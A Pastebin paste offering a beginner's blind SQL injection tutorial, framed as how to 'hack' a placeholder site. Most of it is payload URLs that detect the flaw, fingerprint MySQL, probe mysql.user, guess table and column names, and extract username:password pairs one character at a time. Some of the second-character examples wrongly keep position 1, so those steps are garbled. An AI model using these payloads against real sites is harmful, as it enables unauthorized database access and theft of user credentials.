Advertisement
Kyfx

What is Blind sqli tutorial for noobs

Jul 18th, 2015
492
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.33 KB | None | 0 0
  1.  
  2.  
  3.  
  4.  
  5.  
  6.  
  7.  
  8. what is Blind SQLi
  9.  
  10.  
  11. Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established
  12.  
  13.  
  14. Blind SQLi Tutorial
  15.  
  16.  
  17.  
  18.  
  19. Let’s Start…………
  20.  
  21.  
  22.  
  23. Suppose That You want to Hack This website with Blind SQLi
  24.  
  25. http://site.com/index.php?id=5
  26.  
  27. when we execute this, we see some page and articles on that page, pictures
  28. etc…
  29.  
  30. then when we want to test it for blind sql injection attack
  31.  
  32. http://www.site.com/index.php?id=5 and 1=1 <--- this is always true
  33. and the page loads normally, that's ok.
  34. now the real test
  35.  
  36. http://www.site.com/index.php?id=5 and 1=2 <--- this is false
  37. so if some text, picture or some content is missing on returned page then
  38. that site is vulrnable to blind sql injection.
  39.  
  40. 1) Get the MySQL version
  41. to get the version in blind attack we use substring
  42. i.e
  43. http://www.site.com/index.php?id=5 and substring(@@version,1,1)=4
  44. this should return TRUE if the version of MySQL is 4.
  45. replace 4 with 5, and if query return TRUE then the version is 5.
  46. i.e
  47. http://www.site.com/index.php?id=5 and substring(@@version,1,1)=5
  48. 2) Test if subselect works
  49. when select don't work then we use subselect
  50. i.e
  51. http://www.site.com/index.php?id=5 and (select 1)=1
  52. if page loads normally then subselects work. then we gonna see if we have access to mysql.user
  53. i.e
  54. http://www.site.com/index.php?id=5 and (select 1 from mysql.user limit 0,1)=1
  55. if page loads normally we have access to mysql.user and then later we can
  56. pull some password usign load_file() function and OUTFILE.
  57. 3). Check table and column names
  58. This is part when guessing is the best friend :) i.e.
  59. http://www.site.com/index.php?id=5 and (select 1 from users limit 0,1)=1
  60. (with limit 0,1 our query here returns 1 row of data, cause subselect
  61. returns only 1 row, this is very important.)
  62. then if the page loads normally without content missing, the table users
  63. exits.
  64. if you get FALSE (some article missing), just change table name until you
  65. guess the right one :)
  66. let's say that we have found that table name is users, now what we need is
  67. column name.
  68. the same as table name, we start guessing. Like i said before try the
  69. common names for columns.
  70. i.e
  71. http://www.site.com/index.php?id=5 and (select substring(concat(1,
  72. password),1,1) from users limit 0,1)=1
  73. if the page loads normally we know that column name is password (if we get
  74. false then try common names or just guess)
  75. here we merge 1 with the column password, then substring returns the first
  76. character (,1,1)
  77. 4). Pull data from database
  78. we found table users i columns username password so we gonna pull
  79. characters from that.
  80. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
  81. (username,0x3a,password) from users limit 0,1),1,1))>80
  82. ok this here pulls the first character from first user in table users.
  83. substring here returns first character and 1 character in length. ascii()
  84. converts that 1 character into ascii value
  85. and then compare it with simbol greater then > .
  86. so if the ascii char greater then 80, the page loads normally. (TRUE)
  87. we keep trying until we get false.
  88. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
  89. (username,0x3a,password) from users limit 0,1),1,1))>95
  90. we get TRUE, keep incrementing
  91. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
  92. (username,0x3a,password) from users limit 0,1),1,1))>98
  93. TRUE again, higher
  94. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
  95. (username,0x3a,password) from users limit 0,1),1,1))>99
  96. FALSE!!!
  97. so the first character in username is char(99). Using the ascii converter
  98. we know that char(99) is letter 'c'.
  99. then let's check the second character.
  100. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
  101. (username,0x3a,password) from users limit 0,1),2,1))>99
  102. Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it
  103. returns the second character, 1 character in lenght)
  104. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
  105. (username,0x3a,password) from users limit 0,1),1,1))>99
  106. TRUE, the page loads normally, higher.
  107. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
  108. (username,0x3a,password) from users limit 0,1),1,1))>107
  109. FALSE, lower number.
  110. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
  111. (username,0x3a,password) from users limit 0,1),1,1))>104
  112. TRUE, higher.
  113. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
  114. (username,0x3a,password) from users limit 0,1),1,1))>105
  115. FALSE!!!
  116. we know that the second character is char(105) and that is 'i'. We have
  117. 'ci' so far
  118. so keep incrementing until you get the end. (when >0 returns false we know
  119. that we have reach the end).
  120. There are some tools for Blind SQL Injection, i think sqlmap is the best,
  121. but i'm doing everything manually,
  122. cause that makes you better SQL INJECTOR
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement